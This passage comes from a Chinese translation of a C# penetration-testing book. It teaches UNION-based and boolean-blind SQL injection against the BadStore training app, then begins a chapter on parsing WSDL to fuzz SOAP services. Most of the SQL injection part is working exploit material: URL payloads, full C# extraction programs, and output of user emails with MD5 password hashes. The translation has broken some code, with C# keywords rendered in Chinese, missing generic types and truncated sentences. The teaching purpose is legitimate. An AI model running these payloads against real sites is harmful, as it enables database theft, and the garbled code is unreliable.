让我们看一下 BadStore Web 应用程序中的漏洞代码行(badstore.cgi,第 203 行),看看它选择了多少列(参见列表 2-28)。
\(sql="SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE '\)squery' IN (itemnum,sdesc,ldesc)"; 列表 2-28:BadStore Web 应用程序中的漏洞代码行,选择四列
平衡 SELECT 语句需要一些测试,但我从阅读 BadStore 的源代码中知道,这个特定的 SELECT 查询返回四列。当我们传递带有空格并用加号 URL 编码的负载时,如列表 2-29 所示,我们发现"hacked"一词作为一行出现在搜索结果中。
searchquery=fdas'+UNION+ALL+SELECT+NULL, NULL, 'hacked', NULL%23
列表 2-29:正确平衡的 SQL 注入,成功从数据库中返回"hacked"一词
当这个负载中的 searchquery 值传递给应用程序时,searchquery 变量直接用于发送到数据库的 SQL 查询中,我们将原始 SQL 查询(列表 2-28)转变为一个原始程序员未曾预期的新 SQL 查询,如列表 2-30 所示。
SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'fdas' UNION ALL SELECT
NULL, NULL, 'hacked', NULL➊# ' IN (itemnum,sdesc,ldesc) 列表 2-30:完整的 SQL 查询,附加负载后返回"hacked"一词
我们使用哈希标记 ➊ 来截断原始 SQL 查询,将任何在有效负载后面的 SQL 代码转化为 MySQL 不会执行的注释。现在,任何额外的数据(在此案例中是"hacked")应该出现在 UNION 的第三列中,以便返回到 Web 服务器的响应中。
人类通常可以很容易地确定有效负载返回的数据在 Web 页面中的显示位置。然而,计算机需要被告知在哪里查找从 SQL 注入攻击中带回的数据。程序化地检测攻击者控制的数据在服务器响应中的位置可能是困难的。为了简化这一过程,我们可以使用 CONCAT SQL 函数,将我们真正关心的数据用已知的标记包围,如列表 2-31 所示。
searchquery=fdsa'+UNION+ALL+SELECT+NULL, NULL, CONCAT(0x71766a7a71,'hacked',0x716b626b71), NULL#
列表 2-31:返回"hacked"单词的 searchquery 参数的示例有效负载
列表 2-31 中的有效负载使用十六进制值在我们通过有效负载选择的额外值"hacked"的左右添加数据。如果有效负载在 Web 应用程序的 HTML 中回显,正则表达式就不会意外地匹配原始有效负载。在这个例子中,0x71766a7a71 是 qvjzq,0x716b626b71 是 qkbkq。如果注入成功,响应应该包含 qvjzqhackedqkbkq。如果注入失败,且搜索结果按原样回显,像 qvjzq(.*)qkbkq 这样的正则表达式将无法匹配原始有效负载中的十六进制值。MySQL 的 CONCAT()函数是确保我们能够从 Web 服务器响应中抓取正确数据的一个便捷方法。
列表 2-32 显示了一个更有用的示例。在这里,我们可以替换先前有效负载中的 CONCAT()函数,以返回当前数据库,数据库名会被已知的左右标记包围。
CONCAT(0x7176627a71, DATABASE(), 0x71766b7671) 列表 2-32:返回当前数据库名称的示例有效负载
在 BadStore 搜索功能上的注入结果应该是 qvbzqbadstoredbqvkvq。一个正则表达式,如 qvbzq(.*)qvkvq,应该返回 badstoredb 的值,即当前数据库的名称。
现在我们知道如何有效地从数据库中提取值,我们可以开始使用 UNION 注入从当前数据库中抽取数据。在大多数 Web 应用程序中,一个特别有用的表是用户表。正如在列表 2-33 中看到的,我们可以很容易地使用先前描述的 UNION 注入技术,通过一次请求和有效负载来枚举用户及其密码哈希,数据来自用户表(称为 userdb)。
searchquery=fdas'+UNION+ALL+SELECT+NULL, NULL, CONCAT(0x716b717671, email,
0x776872786573, passwd,0x71767a7a71), NULL+FROM+badstoredb.userdb#
列表 2-33:此有效负载从 BadStore 数据库中提取电子邮件和密码,并用左右分隔符进行分隔。
如果注入成功,结果应在网页中的项目表格中显示出来。
以编程方式执行基于 UNION 的漏洞利用
现在,让我们看看如何通过一些 C# 代码和 HTTP 类来以编程方式执行此漏洞利用。通过将清单 2-33 中显示的负载放入 searchquery 参数,我们应该能在网页中看到一个包含用户名和密码哈希值的项目表格,而不是任何真实的项目。我们只需要发送一个 HTTP 请求,然后使用正则表达式从 HTTP 服务器的响应中提取位于标记之间的电子邮件和密码哈希。
创建标记以查找用户名和密码
首先,我们需要创建正则表达式的标记,如清单 2-34 所示。这些标记将用于在 SQL 注入过程中界定从数据库中获取的值。我们希望使用一些看起来是随机的字符串,这样它们在 HTML 源代码中不太可能找到,从而使我们的正则表达式只抓取我们想要的用户名和密码哈希,而不会抓取其他内容。
string frontMarker = ➊"FrOnTMaRker";
string middleMarker = ➋"mIdDlEMaRker";
string endMarker = ➌"eNdMaRker";
string frontHex = string.➍Join("", frontMarker.➎Select(c => ((int)c).ToString("X2")));
string middleHex = string.Join("", middleMarker.Select(c => ((int)c).ToString("X2")));
string endHex = string.Join("", endMarker.Select(c => ((int)c).ToString("X2"))); 清单 2-34:创建用于 UNION 型 SQL 注入负载的标记
首先,我们创建三个字符串,分别作为前部 ➊、中部 ➋ 和尾部 ➌ 标记。这些标记将用于查找并分隔我们从数据库中获取的用户名和密码,它们会出现在 HTTP 响应中。我们还需要创建这些标记的十六进制表示,这将用于负载中。为此,每个标记需要稍微处理一下。
我们使用 LINQ 方法 Select() ➎ 来迭代标记字符串中的每个字符,将每个字符转换为其十六进制表示形式,并返回处理后的数据数组。在这个例子中,它返回一个包含 2 字节字符串的数组,每个字符串都是原始标记中一个字符的十六进制表示。
为了从这个数组中创建一个完整的十六进制字符串,我们使用 Join() 方法 ➍ 来将数组中的每个元素连接起来,从而生成一个表示每个标记的十六进制字符串。
构建带有负载的 URL
现在,我们需要构建 URL 和负载来发送 HTTP 请求,如清单 2-35 所示。
string url = ➊"http://" + ➋args[0] + "/cgi-bin/badstore.cgi";
string payload = "fdsa' UNION ALL SELECT";
payload += " NULL, NULL, NULL, CONCAT(0x"+frontHex+", IFNULL(CAST(email AS";
payload += " CHAR), 0x20),0x"+middleHex+", IFNULL(CAST(passwd AS";
payload += " CHAR), 0x20), 0x"+endHex+") FROM badstoredb.userdb# ";
url += ➌"?searchquery=" + Uri.➍EscapeUriString(payload) + "&action=search"; 列表 2-35: 在漏洞利用的 Main() 方法中构建带有载荷的 URL
我们创建了 URL ➊ 来发起请求,使用了漏洞利用的第一个参数 ➋:BadStore 实例的 IP 地址。一旦创建了基本的 URL,我们就构建了一个载荷,用来从数据库中返回用户名和密码哈希,其中包括我们用来分隔用户名和密码的三个十六进制字符串。正如前面所述,我们将标记编码为十六进制,以确保在标记被回显而没有我们想要的数据时,我们的正则表达式不会错误地匹配它们并返回垃圾数据。最后,我们通过将易受攻击的查询字符串参数与载荷附加到基本 URL 上,来组合载荷和 URL ➌。为了确保载荷不包含任何 HTTP 协议特有的字符,我们将载荷传递给 EscapeUriString() ➍,然后再将其插入查询字符串中。
发起 HTTP 请求
我们现在准备好发起请求并接收包含从数据库中提取的用户名和密码哈希的 HTTP 响应,数据是通过 SQL 注入载荷获得的(见 列表 2-36)。
HttpWebRequest request = (HttpWebRequest)WebRequest.➊Create(url);
string response = string.Empty;
使用 (StreamReader reader = ➋new StreamReader(request.GetResponse().GetResponseStream()))
response = reader.➌ReadToEnd(); 列表 2-36: 创建 HTTP 请求并读取服务器的响应
我们通过创建一个新的 HttpWebRequest ➊,并使用我们之前构建的包含 SQL 注入载荷的 URL,来创建一个基本的 GET 请求。然后我们声明一个字符串来保存响应,默认将其赋为空字符串。在使用语句的上下文中,我们实例化一个 StreamReader ➋ 并将响应 ➌ 读取到我们的响应字符串中。现在我们已经获得了服务器的响应,我们可以使用我们的标记创建一个正则表达式,按照 列表 2-37 的示例,在 HTTP 响应中查找用户名和密码。
Regex payloadRegex = ➊new Regex(frontMarker + "(.?)" + middleMarker + "(.?)" + endMarker);
MatchCollection matches = payloadRegex.➋Matches(response);
foreach (Match match in matches)
{
Console.➌WriteLine("用户名: " + match.➍Groups[1].Value + "\t ");
Console.Write("密码哈希: " + match.➎Groups[2].Value);
}
}
列表 2-37: 使用正则表达式匹配服务器响应,以提取数据库值
在这里,我们从 HTTP 响应中查找并打印通过 SQL 注入获取的值。首先,我们使用 Regex 类 ➊(位于命名空间 System.Text.RegularExpressions 中)创建一个正则表达式。该正则表达式包含两个表达式组,通过先前定义的前、中、后标记来捕获用户名和密码哈希值。然后我们调用正则表达式的 Matches() 方法 ➋,并将响应数据作为参数传递给 Matches() 方法。Matches() 方法返回一个 MatchCollection 对象,我们可以使用 foreach 循环遍历它,检索每个与我们之前创建的正则表达式匹配的响应字符串。
当我们遍历每个表达式匹配时,我们打印用户名和密码哈希。通过使用 WriteLine() 方法 ➌ 打印这些值,我们构建一个字符串,使用正则表达式组捕获的用户名 ➍ 和密码 ➎,这些值存储在表达式匹配的 Groups 属性中。
运行利用代码后,应当得到 示例 2-38 中显示的输出。
用户名:AAA_Test_User 密码哈希:098F6BCD4621D373CADE4E832627B4F6
用户名:admin 密码哈希:5EBE2294ECD0E0F08EAB7690D2A6EE69
用户名:joe@supplier.com 密码哈希:62072d95acb588c7ee9d6fa0c6c85155
用户名:big@spender.com 密码哈希:9726255eec083aa56dc0449a21b33190
--snip--
用户名:tommy@customer.net 密码哈希:7f43c1e438dc11a93d19616549d4b701
示例 2-38:基于 UNION 的攻击示例输出
如你所见,通过一次请求,我们就能够通过 UNION SQL 注入从 BadStore MySQL 数据库中的 userdb 表提取所有的用户名和密码哈希值。
利用布尔值盲注 SQL 漏洞
盲注 SQL 注入(也称为基于布尔值的盲注 SQL 注入)是指攻击者无法直接从数据库获取信息,而是通过提出真假问题间接地从数据库中提取信息,通常是一次提取 1 字节数据。
盲注 SQL 注入的工作原理
盲注 SQL 注入需要比 UNION 利用更多的代码才能有效利用 SQL 注入漏洞,而且它们需要更多的时间才能完成,因为需要发出更多的 HTTP 请求。与类似 UNION 攻击相比,它们在服务器端的噪音更大,且可能在日志中留下更多的证据。
在执行盲注 SQL 注入时,你不会从 web 应用程序获得直接反馈;而是依赖元数据(例如行为变化)来从数据库中获取信息。例如,通过使用 RLIKE MySQL 关键字和正则表达式匹配数据库中的值,如 示例 2-39 所示,我们可以在 BadStore 中引发错误。
searchquery=fdsa'+RLIKE+0x28+AND+'
示例 2-39:在 BadStore 中引发错误的 RLIKE 盲注 SQL 注入有效载荷
当传递给 BadStore 时,RLIKE 将尝试将十六进制编码的字符串作为正则表达式进行解析,导致错误(见清单 2-40),因为传入的字符串在正则表达式中是一个特殊字符。开括号[ ( ]字符(0x28 的十六进制值)表示表达式组的开始,我们也使用它来匹配用户名和密码哈希值的联合利用。开括号字符必须有一个对应的闭括号[ ) ]字符,否则正则表达式的语法将无效。
从正则表达式清单 2-40 中获得错误“括号不匹配”:当传入无效的正则表达式时,RLIKE 产生错误
括号不匹配,因为缺少一个闭括号。现在我们知道,可以通过使用真假 SQL 查询可靠地控制 BadStore 的行为,从而导致其出错。
使用 RLIKE 创建真假响应
我们可以在 MySQL 中使用 CASE 语句(它的行为类似于 C 语言中的 case 语句)来确定性地选择 RLIKE 解析的好或坏的正则表达式。例如,清单 2-41 返回正确的响应。
searchquery=fdsa'+RLIKE+(SELECT+(CASE+WHEN+(1=1➊)+THEN+0x28+ELSE+0x41+END))+AND+'
清单 2-41:一个 RLIKE 盲注负载,应该返回正确的响应
CASE 语句首先判断 1=1 ➊是否为真。由于这个等式成立,RLIKE 会尝试解析 0x28 作为正则表达式,但因为(不是一个有效的正则表达式,应该会抛出错误。如果我们将 CASE 条件 1=1(其结果为真)改为 1=2,Web 应用程序不再抛出错误。因为 1=2 的结果为假,RLIKE 会返回 0x41(十六进制的大写字母 A)供解析,不会引发解析错误。
通过向 Web 应用程序提出真假问题(这个等于那个吗?),我们可以确定它的行为,然后根据该行为来判断我们的问题的答案是真还是假。
使用 RLIKE 关键字来匹配搜索条件
清单 2-42 中的负载(针对 searchquery 参数)应该返回正确的响应(一个错误),因为 userdb 表中行数的长度大于 1。
searchquery=fdsa'+RLIKE+(SELECT+(CASE+WHEN+((SELECT+LENGTH(IFNULL(CAST(COUNT(*)
+AS+CHAR),0x20))+FROM+userdb)=1➊)+THEN+0x41+ELSE+0x28+END))+AND+'
清单 2-42:用于 searchquery 参数的布尔型 SQL 注入负载示例
使用 RLIKE 和 CASE 语句,我们检查 BadStore 的 userdb 表的行数是否等于 1。COUNT(*)语句返回一个整数,即表中的行数。我们可以利用这个数字显著减少完成攻击所需的请求次数。
如果我们修改负载,以确定行数的长度是否等于 2 而不是 1 ➊,服务器应该返回一个包含错误的响应,错误信息为“括号不平衡”。例如,假设 BadStore 在 userdb 表中有 999 个用户。虽然你可能会认为我们需要发送至少 1,000 个请求来确定 COUNT(*)返回的数字是否大于 999,但我们可以比起对整个数字(999)进行暴力破解,更快地破解每一个单独的数字(每个 9)。数字 999 的长度是三,因为 999 是由三个字符组成的。如果,我们不是暴力破解整个数字 999,而是分别暴力破解第一个、第二个和第三个数字,我们将在 30 个请求内暴力破解整个数字 999——每个数字最多 10 个请求。
确定并打印 userdb 表中的行数
为了更清楚地说明这一点,我们编写一个 Main()方法来确定 userdb 表中包含多少行。通过列表 2-43 中的 for 循环,我们确定 userdb 表中行数的长度。
int countLength = 1;
for (;;countLength++)
{
string getCountLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT";
getCountLength += " LENGTH(IFNULL(CAST(COUNT(*) AS CHAR),0x20)) FROM";
getCountLength += " userdb)="+countLength+") THEN 0x28 ELSE 0x41 END))";
getCountLength += " AND 'LeSo'='LeSo";
string response = MakeRequest(getCountLength);
如果(response.Contains("parentheses not balanced"))
break;
}
列表 2-43: 用于检索用户数据库中行数的 for 循环
我们从 countLength 为零开始,然后每次通过循环时,countLength 增加 1,检查请求的响应是否包含正确的字符串“括号不平衡”。如果包含,我们就退出 for 循环,得到正确的 countLength,应该是 23。
然后,我们向服务器请求 userdb 表中包含的行数,如列表 2-44 所示。
List
countBytes = new List (); for (int i = 1; i <= countLength; i++)
{
for (int c = 48; c <= 58; c++)
{
string getCount = "fdsa' RLIKE (SELECT (CASE WHEN (➊ORD(➋MID((SELECT";
getCount += " IFNULL(CAST(COUNT(*) AS CHAR), 0x20) FROM userdb)➌,";
getCount += i➍+ ", 1➎))="+c➏+") THEN 0x28 ELSE 0x41 END)) AND '";
string response = MakeRequest (getCount);
如果(response.➐Contains("parentheses not balanced"))
{
countBytes.➑Add((byte)c);
break;
}
}
}
列表 2-44: 检索 userdb 表中行数的操作
在列表 2-44 中使用的 SQL 负载与之前用于检索计数的 SQL 负载略有不同。我们使用 ORD() ➊和 MID() ➋ SQL 函数。
ORD()函数将给定输入转换为整数,而 MID()函数根据起始索引和长度返回特定的子字符串。通过同时使用这两个函数,我们可以从 SELECT 语句返回的字符串中一次选择一个字符并将其转换为整数。这使我们能够将字符串中字节的整数表示与我们在当前迭代中测试的字符值进行比较。
MID()函数需要三个参数:你要选择子字符串的字符串 ➌;起始索引(是从 1 开始的,而不是 0,如你可能预期的那样) ➍;以及要选择的子字符串的长度 ➎。请注意,MID()的第二个参数 ➍ 由最外层 for 循环的当前迭代决定,我们在该循环中将 i 增加到上一个 for 循环确定的 count 长度。这个参数选择了我们在迭代时要测试的下一个字符。内部 for 循环遍历 ASCII 字符 0 到 9 的整数等价值。由于我们只是想获取数据库中的行数,所以我们只关心数字字符。
在布尔注入攻击中,i ➍ 和 c ➏ 变量都被用在 SQL 负载中。变量 i 作为 MID()函数的第二个参数,决定了我们将测试的数据库值中的字符位置。变量 c 是我们将 ORD()函数的结果与之比较的整数,该函数将 MID()返回的字符转换为整数。这使我们能够遍历数据库中给定值的每个字符,并使用真假问题进行暴力破解。
当负载返回"括号不匹配"错误 ➐ 时,我们知道索引 i 处的字符等于内循环中的整数 c。然后,我们将 c 转换为字节并将其添加到在循环前实例化的 List
然后,将该字符串打印到屏幕上,如清单 2-45 所示。
int count = int.Parse(Encoding.ASCII.➊GetString(countBytes.ToArray()));
Console.WriteLine("There are "+count+" rows in the userdb table"); 清单 2-45:通过 SQL 注入获取的字符串转换并打印表中的行数
我们使用 GetString()方法 ➊(来自 Encoding.ASCII 类)将 countBytes.ToArray()返回的字节数组转换为可读的字符串。然后将该字符串传递给 int.Parse(),它解析字符串并返回一个整数(如果字符串能够转换为整数)。最后,使用 Console.WriteLine()将字符串打印出来。
MakeRequest() 方法
我们即将准备好执行我们的攻击,只差一件事:我们需要一种方法在 for 循环中发送负载。为此,我们需要编写 MakeRequest() 方法,它接受一个参数:要发送的负载(见 列表 2-46)。
private static string MakeRequest(string payload)
{
string url = ➊"http://192.168.1.78/cgi-bin/badstore.cgi?action=search&searchquery=";
HttpWebRequest request = (HttpWebRequest)WebRequest.➋Create(url+payload);
string response = string.Empty;
using (StreamReader reader = new ➌StreamReader(request.GetResponse().GetResponseStream()))
response = reader.ReadToEnd();
return response;
}
列表 2-46: MakeRequest() 方法发送负载并返回服务器的响应
我们创建了一个基本的 GET HttpWebRequest ➋,使用负载和 URL ➊ 指向 BadStore 实例。然后,通过 StreamReader ➌,我们读取响应并将其返回给调用者。现在我们运行攻击,应该会收到类似列表 2-47 中显示的输出。
userdb 表中有 23 行,列表 2-47: 确定 userdb 表中的行数
在执行完第一个攻击代码后,我们看到有 23 个用户需要提取用户名和密码哈希。接下来的攻击步骤将提取实际的用户名和密码哈希。
获取值的长度
在我们能够逐字节地从数据库中的列提取任何值之前,我们需要先获取值的长度。列表 2-48 展示了如何完成这一过程。
private static int GetLength(int row➊, string column➋)
{
int countLength = 0;
for (;; countLength++)
{
string getCountLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT";
getCountLength += " LENGTH(IFNULL(CAST(➌CHAR_LENGTH("+column+") AS";
getCountLength += " CHAR),0x20)) FROM userdb ORDER BY email ➍LIMIT";
getCountLength += row+",1)="+countLength+") THEN 0x28 ELSE 0x41 END)) AND";
getCountLength += " 'YIye'='YIye";
string response = MakeRequest(getCountLength);
if (response.Contains("parentheses not balanced"))
break;
}
列表 2-48: 获取数据库中某些值的长度
GetLength() 方法接受两个参数:一个是要从中提取值的数据库行 ➊,另一个是值将存储的数据库列 ➋。我们使用 for 循环(见列表 2-49)来获取 userdb 表中行的长度。但与之前的 SQL 负载不同,我们使用 CHAR_LENGTH() ➌ 函数而不是 LENGTH,因为提取的字符串可能是 16 位 Unicode 而非 8 位 ASCII。我们还使用 LIMIT 子句 ➍ 来指定要从完整的用户表中提取特定行的值。在获取数据库中值的长度之后,我们可以像 列表 2-49 中所示,逐字节提取实际的值。
List
countBytes = ➊new List (); for (int i = 0; i <= countLength; i++)
{
for (int c = 48; c <= 58; c++)
{
string getLength = "fdsa' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT";
getLength += " IFNULL(CAST(CHAR_LENGTH(" + column + ") AS CHAR),0x20) FROM";
getLength += " userdb ORDER BY email LIMIT " + row + ",1)," + i;
getLength += ",1))="+c+") THEN 0x28 ELSE 0x41 END)) AND 'YIye'='YIye";
string response = ➋MakeRequest(getLength);
if (response.➌Contains("parentheses not balanced"))
{
countBytes.➍Add((byte)c);
break;
}
}
}
Listing 2-49: GetLength() 方法中的第二个循环,用于检索值的实际长度
正如你在 Listing 2-49 中看到的,我们创建了一个通用的 List
现在我们需要返回计数并完成方法,如 Listing 2-50 所示。
if (countBytes.Count > 0)
return ➊int.Parse(Encoding.ASCII.➋GetString(countBytes.ToArray()));
else
return 0;
}
Listing 2-50: GetLength() 方法中的最终行,将长度的值转换为整数并返回
一旦我们获得了计数的字节,我们就可以使用 GetString() ➋ 将收集到的字节转换为人类可读的字符串。这个字符串会传递给 int.Parse() ➊ 并返回给调用者,以便我们开始从数据库中获取实际的值。
编写 GetValue() 方法以检索给定的值
我们通过 GetValue() 方法完成了此漏洞利用,如 Listing 2-51 所示。
private static string GetValue(int row➊, string column➋, int length➌)
{
List
valBytes = ➍new List (); for (int i = 0; i <= length; i++)
{
➎for(int c = 32; c <= 126; c++)
{
string getChar = "fdsa' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT";
getChar += " IFNULL(CAST("+column+" AS CHAR),0x20) FROM userdb ORDER BY";
getChar += " email LIMIT "+row+",1),"+i+",1))="+c+") THEN 0x28 ELSE 0x41";
getChar += " END)) AND 'YIye'='YIye";
string response = MakeRequest(getChar);
if (response.Contains(➏"parentheses not balanced"))
{
valBytes.Add((byte)c);
break;
}
}
}
return Encoding.ASCII.➐GetString(valBytes.ToArray());
}
Listing 2-51: GetValue() 方法,它将在给定行中检索给定列的值
GetValue() 方法需要三个参数:我们从中提取数据的数据库行 ➊,值所在的数据库列 ➋,以及从数据库中提取值的长度 ➌。创建一个新的 List
在最内层的 for 循环 ➎ 中,我们从 32 迭代到 126,因为 32 是对应可打印 ASCII 字符的最小整数,126 是最大值。之前在检索计数时,我们只迭代了从 48 到 58,因为我们只关心数字的 ASCII 字符。
在我们迭代这些值时,我们发送一个有效载荷,将数据库中当前值的索引与内层 for 循环当前值进行比较。当响应返回时,我们寻找错误信息“括号不平衡” ➏,如果找到,就将当前内层循环的值转换为字节并将其存储在字节列表中。该方法的最后一行使用 GetString() ➐ 将该列表转换为字符串,并将新字符串返回给调用者。
调用方法并打印值
现在剩下的就是在我们的 Main() 方法中调用新的 GetLength() 和 GetValue() 方法,并打印从数据库中提取的值。如 Listing 2-52 所示,我们在 Main() 方法的末尾添加一个 for 循环,调用 GetLength() 和 GetValue() 方法,这样我们就能从数据库中提取出电子邮件地址和密码哈希值。
for (int row = 0; row < count; row++)
{
foreach (string column in new string[] {"email", "passwd"})
{
Console.Write("获取查询值的长度... ");
int valLength = ➊GetLength(row, column);
Console.WriteLine(valLength);
Console.Write("获取值... ");
string value = ➋GetValue(row, column, valLength);
Console.WriteLine(value);
}
}
Listing 2-52:添加到 Main() 方法中的 for 循环,调用 GetLength() 和 GetValue() 方法
对于 userdb 表中的每一行,我们首先获取电子邮件字段的长度 ➊ 和值 ➋,然后获取密码字段的值(用户密码的 MD5 哈希)。接下来,我们打印字段的长度及其值,结果如 Listing 2-53 所示。
userdb 表中有 23 行数据
获取查询值的长度... 13
获取值... AAA_Test_User
获取查询值的长度... 32
获取值... 098F6BCD4621D373CADE4E832627B4F6
获取查询值的长度... 5
获取值... admin
获取查询值的长度... 32
获取值... 5EBE2294ECD0E0F08EAB7690D2A6EE69
--snip--
获取查询值的长度... 18
获取值... tommy@customer.net
获取查询值的长度... 32
获取值... 7f43c1e438dc11a93d19616549d4b701
Listing 2-53:我们的攻击结果
在枚举数据库中用户数量后,我们遍历每个用户,从数据库中提取用户名和密码哈希。这个过程比我们上面执行的 UNION 操作要慢得多,但 UNION 注入并不总是可用的。理解布尔型攻击在 SQL 注入利用中的工作原理,对于有效利用许多 SQL 注入漏洞至关重要。
结论
本章介绍了如何通过模糊测试和利用 XSS 和 SQL 注入漏洞。正如你所见,BadStore 存在许多 SQL 注入、XSS 以及其他漏洞,这些漏洞的利用方式各有不同。在本章中,我们实现了一个小型的 GET 请求模糊测试应用程序,用于搜索查询字符串参数中的 XSS 或可能表明 SQL 注入漏洞存在的错误。通过使用功能强大且灵活的 HttpWebRequest 类来发起和获取 HTTP 请求与响应,我们能够确定,在 BadStore 中搜索商品时,searchquery 参数既容易受到 XSS 攻击,也容易受到 SQL 注入攻击。
一旦我们编写了一个简单的 GET 请求模糊测试工具,我们就使用 Burp Suite HTTP 代理和 Firefox 捕获了 BadStore 的 HTTP POST 请求,以编写一个用于 POST 请求的简单模糊测试应用程序。通过使用与之前 GET 请求模糊测试工具中相同的类,并加入一些新方法,我们能够找到更多可被利用的 SQL 注入漏洞。
接下来,我们转向了更复杂的请求,比如带有 JSON 的 HTTP 请求。通过使用一个易受攻击的 JSON Web 应用程序,我们利用 Burp Suite 捕获了一个用于创建新用户的请求。为了高效地对这种类型的 HTTP 请求进行模糊测试,我们引入了 Json.NET 库,它简化了 JSON 数据的解析和消费过程。
最后,在你掌握了模糊测试如何发现 Web 应用程序中潜在漏洞的原理之后,你学会了如何利用这些漏洞。再次使用 BadStore,我们编写了一个基于 UNION 的 SQL 注入利用代码,通过一个 HTTP 请求就能从 BadStore 数据库中提取出用户名和密码哈希。为了高效地从服务器返回的 HTML 中提取数据,我们使用了正则表达式类 Regex、Match 和 MatchCollection。
一旦简单的 UNION 利用完成,我们就编写了一个基于布尔型盲注的 SQL 注入攻击,作用于同一个 HTTP 请求。通过使用 HttpWebRequest 类,我们根据传递给 Web 应用程序的 SQL 注入负载,确定哪些 HTTP 响应是真,哪些是假的。当我们了解 Web 应用程序对真假问题的响应行为后,我们开始向数据库询问真假问题,以便逐字节地从数据库中获取信息。基于布尔型盲注的利用比 UNION 利用更加复杂,需要更多的时间和 HTTP 请求才能完成,但它在无法使用 UNION 时尤其有效。
第三章
3
模糊测试 SOAP 端点

作为渗透测试员,你可能会遇到提供程序化 API 访问的应用程序或服务器,这些 API 通过 SOAP 端点提供。SOAP(简单对象访问协议)是一种常见的企业技术,允许以语言无关的方式访问编程 API。一般来说,SOAP 是通过 HTTP 协议使用的,并且它使用 XML 来组织发送到 SOAP 服务器的数据。Web 服务描述语言(WSDL)描述了通过 SOAP 端点公开的方法和功能。默认情况下,SOAP 端点公开 WSDL XML 文档,客户端可以轻松解析这些文档,以便与 SOAP 端点进行交互,C# 有多个类使得这成为可能。
本章建立在你如何通过编程方式构造 HTTP 请求来检测 XSS 和 SQL 注入漏洞的基础知识之上,只不过这次我们关注的是 SOAP XML。此章还会展示如何编写一个小型模糊测试器来下载和解析 SOAP 端点公开的 WSDL 文件,然后使用 WSDL 文件中的信息生成 SOAP 服务的 HTTP 请求。最终,你将能够系统化并自动化地查找 SOAP 方法中的 SQL 注入漏洞。
设置脆弱的端点
本章中,你将使用一个名为 CsharpVulnSoap 的预配置虚拟设备中的脆弱端点(该文件应具有 .ova 扩展名),该设备可在 VulnHub 网站上找到(www.vulnhub.com/)。下载虚拟设备后,你可以通过双击文件将其导入到 VirtualBox 或 VMware 中,支持大多数操作系统。一旦安装完成,使用密码 password 登录,或者使用访客会话打开终端。接着,输入 ifconfig 查找虚拟设备的 IP 地址。默认情况下,该设备将通过仅主机接口进行监听,而与之前章节中的网络接口桥接不同。
在网页浏览器中打开端点,如图 3-1 所示,你可以使用屏幕左侧的菜单项(AddUser、ListUsers、GetUser 和 DeleteUser)查看 SOAP 端点公开的功能在使用时的返回结果。导航到 http://

图 3-1:从 Firefox 查看脆弱的端点
解析 WSDL
WSDL XML 文档有点复杂。即使是我们要解析的简单 WSDL 文档也并不简单。然而,由于 C# 提供了出色的类来解析和使用 XML 文件,正确解析 WSDL 并使其处于一个可以面向对象地与 SOAP 服务交互的状态是相当容易的。
一个 WSDL 文档本质上是一些 XML 元素,这些元素彼此之间以逻辑方式相关,从文档底部到顶部。文档底部,你与服务交互,向端点发出请求。从服务开始,你有了端口的概念。这些端口指向绑定,而绑定又指向端口类型。端口类型包含该端点上可用的操作(或方法)。操作包含输入和输出,二者都指向一个消息。消息指向一个类型,而该类型包含调用方法所需的参数。图 3-2 直观地解释了这一概念。

图 3-2: WSDL 文档的基本逻辑布局
我们的 WSDL 类构造函数将按相反顺序工作。首先,我们创建构造函数,然后我们将创建一个类来处理 WSDL 文档每个部分的解析,从类型到服务。
为 WSDL 文档创建一个类
当你通过编程解析 WSDL 时,最简单的方法是从文档的顶部开始,处理 SOAP 类型,然后逐步向下解析文档。让我们创建一个名为 WSDL 的类,它包含 WSDL 文档。构造函数相对简单,如清单 3-1 所示。
public WSDL (XmlDocument doc)
{
XmlNamespaceManager nsManager = new ➊XmlNamespaceManager(doc.NameTable);
nsManager.➋AddNamespace("wsdl", doc.DocumentElement.NamespaceURI);
nsManager.AddNamespace("xs", "http://www.w3.org/2001/XMLSchema");
ParseTypes(doc, nsManager);
ParseMessages(doc, nsManager);
ParsePortTypes(doc, nsManager);
ParseBindings(doc, nsManager);
ParseServices(doc, nsManager);
}
清单 3-1: WSDL 类构造函数
我们的 WSDL 类的构造函数只调用了少数几个方法(我们稍后会编写),并且它期望获取包含所有 Web 服务定义的 XML 文档作为参数。我们需要做的第一件事是定义在实现解析方法时使用 XPath 查询时所引用的 XML 命名空间(这些内容在清单 3-3 及后续清单中有所介绍)。为此,我们创建一个新的 XmlNamespaceManager ➊,并使用 AddNamespace() 方法 ➋ 添加两个命名空间:wsdl 和 xs。然后,我们调用将解析 WSDL 文档元素的方法,从类型开始,一直到服务。每个方法接受两个参数:WSDL 文档和命名空间管理器。
我们还需要访问 WSDL 类中的一些属性,这些属性与构造函数中调用的方法相对应。将清单 3-2 中显示的属性添加到 WSDL 类中。
public List
Types { get; set; } public List
Messages { get; set; } public List
PortTypes { get; set; } public List
Bindings { get; set; } public List
Services
清单 3-2: WSDL 类的公共属性
WSDL 类的这些属性由模糊测试工具(因此它们是 public 的)和构造函数中调用的方法使用。它们是我们在本章中将实现的 SOAP 类的列表。
编写初始解析方法
首先,我们将编写在 Listing 3-1 中调用的方法。一旦这些方法实现完成,我们将继续创建每个方法依赖的类。这会有点工作量,但我们会一起完成的!
我们将从实现 Listing 3-1 中调用的第一个方法ParseTypes()开始。构造函数中调用的所有方法相对简单,看起来都与 Listing 3-3 类似。
private void ParseTypes(XmlDocument wsdl, XmlNamespaceManager nsManager)
{
this.Types = new List
(); string xpath = ➊"/wsdl:definitions/wsdl:types/xs:schema/xs:element";
XmlNodeList nodes = wsdl.DocumentElement.SelectNodes(xpath, nsManager);
foreach (XmlNode type in nodes)
this.Types.Add(new SoapType(type));
}
Listing 3-3: WSDL 类构造函数中调用的ParseTypes()方法
